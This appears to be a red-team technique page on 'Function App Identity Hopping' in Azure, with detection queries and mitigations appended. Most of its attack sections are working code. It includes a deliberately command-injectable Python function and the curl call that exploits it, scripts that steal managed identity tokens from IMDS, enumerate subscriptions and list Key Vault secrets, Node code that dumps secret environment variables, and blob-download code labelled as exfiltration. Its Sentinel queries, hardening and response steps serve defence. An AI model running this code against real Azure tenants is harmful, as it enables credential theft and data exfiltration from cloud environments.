MCADDF

[LM-AUTH-032]: Function App Identity Hopping

1. Metadata

Attribute Details
Technique ID LM-AUTH-032
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Functions
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Azure Functions all versions (Consumption, Premium, Dedicated App Service Plans)
Patched In N/A (Requires configuration hardening)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.6 Ensure that only necessary Azure Roles are assigned
CIS Benchmark 1.4.1 Enforce Azure AD Multi-Tenant Security
DISA STIG V-254381 Implement least privilege for function identities
CISA SCuBA C.1.2 Minimize function role assignments
NIST 800-53 AC-2 Account Management
NIST 800-53 AC-3 Access Enforcement
GDPR Art. 32 Security of Processing
DORA Art. 9 Protection and Prevention
NIS2 Art. 21 Cyber Risk Management
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Privilege Escalation via Managed Identity

3. Detailed Execution Methods

METHOD 1: Retrieve Managed Identity Token from IMDS

Supported Versions: Azure Functions Consumption, Premium, Dedicated (all versions); Runtime 2.0+

Step 1: Compromise Azure Function

Objective: Gain code execution within the function runtime.

Common Entry Points:

Example (Python Function with Code Injection Vulnerability):

# Vulnerable function code
import azure.functions as func
import subprocess

def main(req: func.HttpRequest) -> func.HttpResponse:
    command = req.params.get('cmd')
    result = subprocess.run(command, shell=True, capture_output=True)  # VULNERABLE!
    return func.HttpResponse(result.stdout)

Attack:

curl "https://myfunction.azurewebsites.net/api/vulnerable?cmd=id"
# Returns: uid=0(root) gid=0(root) groups=0(root)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Query IMDS for Managed Identity Token

Objective: Retrieve the access token for the function’s managed identity from the Azure Instance Metadata Service.

Command (From within the function runtime):

import requests
import json
import os

# Option 1: Using MSI_ENDPOINT and MSI_SECRET (older runtime)
try:
    msi_endpoint = os.environ['MSI_ENDPOINT']
    msi_secret = os.environ['MSI_SECRET']
    token_response = requests.get(
        f"{msi_endpoint}?resource=https://management.azure.com&api-version=2017-09-01",
        headers={"Secret": msi_secret}
    )
    token = token_response.json()['access_token']
except:
    pass

# Option 2: Using IDENTITY_ENDPOINT and IDENTITY_HEADER (newer runtime)
try:
    identity_endpoint = os.environ['IDENTITY_ENDPOINT']
    identity_header = os.environ['IDENTITY_HEADER']
    token_response = requests.get(
        f"{identity_endpoint}?resource=https://management.azure.com&api-version=2019-08-01",
        headers={"X-IDENTITY-HEADER": identity_header}
    )
    token = token_response.json()['access_token']
except:
    pass

# Option 3: Direct IMDS query (if metadata service is accessible)
try:
    token_response = requests.get(
        "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com",
        headers={"Metadata": "true"}
    )
    token = token_response.json()['access_token']
except:
    pass

print(f"Token: {token[:50]}...")  # Print first 50 chars (JWT payload)

Expected Output:

Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Decode and Inspect Token

Objective: Inspect the token claims to understand what resources and permissions are available.

Command:

import base64
import json

# Decode JWT (without verification – for inspection only)
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO..."
payload = token.split('.')[1]
# Add padding if necessary
payload += '=' * (4 - len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
claims = json.loads(decoded)

print(json.dumps(claims, indent=2))

Expected Output:

{
  "aud": "https://management.azure.com",
  "iss": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
  "iat": 1609459200,
  "nbf": 1609459200,
  "exp": 1609462800,
  "aio": "E2RgYIg/12345+abcde/ABCD==",
  "appid": "87654321-4321-4321-4321-210987654321",
  "appidacr": "2",
  "idp": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
  "oid": "12345678-1234-1234-1234-123456789012",
  "rh": "0.ARoA1234567...",
  "sub": "12345678-1234-1234-1234-123456789012",
  "tid": "12345678-1234-1234-1234-123456789012",
  "uti": "abcdefghijklmnop",
  "ver": "1.0"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Use Token to Access Azure Resources

Objective: Authenticate to Azure Resource Manager using the stolen token and enumerate or access resources the function has permission on.

Command (Python):

import requests
import json

# Use the token to access Azure Resource Manager
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO..."
headers = {"Authorization": f"Bearer {token}"}

# List all subscriptions the function's identity has access to
response = requests.get(
    "https://management.azure.com/subscriptions?api-version=2020-01-01",
    headers=headers
)
subscriptions = response.json()['value']
print(f"Accessible Subscriptions: {len(subscriptions)}")
for sub in subscriptions:
    print(f"  - {sub['displayName']} ({sub['subscriptionId']})")

# List all resources the function's identity can access
for sub in subscriptions:
    sub_id = sub['subscriptionId']
    response = requests.get(
        f"https://management.azure.com/subscriptions/{sub_id}/resources?api-version=2021-04-01",
        headers=headers
    )
    resources = response.json().get('value', [])
    print(f"\nResources in {sub['displayName']}:")
    for resource in resources:
        print(f"  - {resource['type']}: {resource['name']}")

# Access a specific Key Vault (if the function has access)
response = requests.get(
    "https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vault_name}?api-version=2021-06-01-preview",
    headers=headers
)
print(f"Key Vault Access: {response.status_code}")

# List secrets in the Key Vault (if function has Data Reader role)
kv_token_response = requests.get(
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net",
    headers={"Metadata": "true"}
)
kv_token = kv_token_response.json()['access_token']

response = requests.get(
    f"https://{vault_name}.vault.azure.net/secrets?api-version=7.0",
    headers={"Authorization": f"Bearer {kv_token}"}
)
print(f"Secrets: {response.json()}")

Expected Output:

Accessible Subscriptions: 2
  - Production (12345678-1234-1234-1234-123456789012)
  - Development (87654321-4321-4321-4321-210987654321)

Resources in Production:
  - Microsoft.Storage/storageAccounts: prodstg123
  - Microsoft.KeyVault/vaults: prod-kv
  - Microsoft.Sql/servers: prod-db

Key Vault Access: 200
Secrets: {
  "value": [
    {
      "id": "https://prod-kv.vault.azure.net/secrets/db-password",
      "attributes": {...}
    },
    {
      "id": "https://prod-kv.vault.azure.net/secrets/api-key",
      "attributes": {...}
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Exploiting Function Environment Variables and Connection Strings

Supported Versions: Azure Functions all versions

Step 1: Extract Environment Variables and Connection Strings

Objective: Retrieve connection strings and credentials stored in function app settings.

Command (JavaScript/Node.js):

// From within the function code
const process = require('process');

// List all environment variables
console.log("Environment Variables:");
for (const [key, value] of Object.entries(process.env)) {
    if (key.includes('CONNECTION') || key.includes('SECRET') || key.includes('PASSWORD') || key.includes('KEY')) {
        console.log(`  ${key}: ${value.substring(0, 50)}...`);
    }
}

// Retrieve specific connection strings
const storageConnectionString = process.env.AzureWebJobsStorage;
const keyVaultUrl = process.env.KEY_VAULT_URL;
const dbPassword = process.env.DATABASE_PASSWORD;

module.exports = async function (context, req) {
    context.log(`Storage: ${storageConnectionString}`);
    context.log(`KV URL: ${keyVaultUrl}`);
    context.res = { body: "Credentials extracted" };
};

Expected Output:

Environment Variables:
  AzureWebJobsStorage: DefaultEndpointsProtocol=https;AccountName=prodstg123;AccountKey=...
  KEY_VAULT_URL: https://prod-kv.vault.azure.net/
  DATABASE_PASSWORD: P@ssw0rd123!SuperSecure
  API_KEY_STRIPE: sk_live_1234567890abcdef1234567890ab

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Use Extracted Credentials for Lateral Movement

Objective: Use the connection strings to authenticate to underlying resources (Storage, Database, Key Vault).

Command (Python - Storage Access):

from azure.storage.blob import BlobServiceClient

# Use connection string from environment variable
connection_string = "DefaultEndpointsProtocol=https;AccountName=prodstg123;AccountKey=..."
blob_service_client = BlobServiceClient.from_connection_string(connection_string)

# List all containers
containers = blob_service_client.list_containers()
for container in containers:
    print(f"Container: {container['name']}")
    
    # List all blobs in the container
    container_client = blob_service_client.get_container_client(container['name'])
    blobs = container_client.list_blobs()
    for blob in blobs:
        print(f"  - {blob.name}")
        
        # Download sensitive files
        if blob.name.endswith(('.sql', '.backup', '.json', '.yaml')):
            blob_client = container_client.get_blob_client(blob.name)
            download_stream = blob_client.download_blob()
            content = download_stream.readall()
            print(f"    [EXFIL] Downloaded {blob.name} ({len(content)} bytes)")

Expected Output:

Container: backups
  - database-backup-2024-01-01.sql
    [EXFIL] Downloaded database-backup-2024-01-01.sql (512000000 bytes)
  - config.json
    [EXFIL] Downloaded config.json (2048 bytes)

Container: logs
  - app-logs-2024-01.log
  - audit-trail-2024-01.json

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. Microsoft Sentinel Detection

Query 1: Unusual Token Requests from Function Runtime

Rule Configuration:

KQL Query:

AppServiceHTTPLogs
| where AppServiceResourceName contains "function"
  and CsUriStem contains "/metadata/identity/oauth2/token"
  or CsUriStem contains "identity/oauth2/token"
| where ScStatus == 200
| summarize TokenRequests=count() by AppServiceResourceName, ClientIP, TimeGenerated
| where TokenRequests > 5  // Threshold: more than 5 token requests
| project TimeGenerated, AppServiceResourceName, ClientIP, TokenRequests

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Unusual Token Requests from Function Runtime
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query
    • Run every: 10 minutes
    • Lookup data from last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents

Query 2: Function Identity Accessing Multiple Subscriptions

Rule Configuration:

KQL Query:

AzureActivity
| where Caller contains "system assigned identity" or Caller contains "msi"
  and OperationName contains "List" or OperationName contains "Get"
| summarize DistinctSubscriptions=dcount(SubscriptionId), ResourceCount=count() by Caller, CallerIpAddress, TimeGenerated
| where DistinctSubscriptions > 1  // Threshold: accessing multiple subscriptions
| project TimeGenerated, Caller, CallerIpAddress, DistinctSubscriptions, ResourceCount

What This Detects:


5. Windows Event Log & Azure Audit Monitoring

Event ID: 4647 (User Logoff) / 4648 (Logon with Explicit Credentials)

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure MonitorActivity Log
  2. Filter by:
    • Operation: Read, Write operations on sensitive resources (Key Vault, Storage, SQL)
    • Caller: System Assigned Identity or Managed Identity
    • Status: Success
  3. Export logs for forensic analysis

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check function's role assignments
az role assignment list --assignee "<function-managed-identity-id>" --output table

# Verify least-privilege roles are assigned
az role assignment list --assignee "<function-managed-identity-id>" | jq '.[] | select(.roleDefinitionName | test("Contributor|Owner"))'

# Check if system-assigned identity is disabled
az functionapp identity show --name <function-name> --resource-group <rg> --query 'type'
# Expected: "None" or "UserAssigned" (not "SystemAssigned" for unused functions)

What to Look For:


7. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Disable the function's managed identity
    az functionapp identity remove --name <function-name> --resource-group <rg>
       
    # Or, stop the function app entirely
    az functionapp stop --name <function-name> --resource-group <rg>
    

    Manual (Azure Portal):

    • Go to Function AppSettingsIdentity
    • Toggle System assigned to Off
  2. Collect Evidence (First Hour): Command:
    # Export Function App logs
    az monitor app-insights metrics show --app <app-insights-name> --resource-group <rg> > /evidence/app-insights.txt
       
    # Export Azure Activity logs
    az monitor activity-log list --resource-group <rg> --offset 24h > /evidence/activity-logs.txt
       
    # Export function code for vulnerability analysis
    az functionapp source control config --name <function-name> --resource-group <rg> --branch main --repourl <repo-url>
    
  3. Remediate (Within 24 Hours): Command:
    # Remove compromised role assignments
    az role assignment delete --assignee "<function-managed-identity-id>" --role "Contributor"
       
    # Update function code to fix vulnerability
    # (Re-deploy patched function version)
    az functionapp deployment source config-zip --name <function-name> --resource-group <rg> --src <patched-function.zip>
       
    # Re-enable managed identity with least-privilege roles
    az functionapp identity assign --name <function-name> --resource-group <rg>
    az role assignment create --assignee "<function-managed-identity-id>" --role "Storage Blob Data Reader" --scope <storage-resource-id>
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse Function endpoint exposed and compromised
2 Execution Code Injection / Dependency Vulnerability Malicious code executed within function runtime
3 Lateral Movement [LM-AUTH-032] Function App Identity Hopping Current Step: Token retrieved and used to access other resources
4 Collection [LM-AUTH-034] Data Factory Credential Reuse Credentials used to access databases and data stores
5 Impact Data Exfiltration Sensitive data accessed and exfiltrated from other resources

9. Real-World Examples

Example 1: Azure Function Compromised via npm Package Vulnerability (2023)

Example 2: Managed Identity Misconfiguration in Production Environment (2022)

Example 3: Supply Chain Attack via Compromised Function Dependency (2024)


Metadata Notes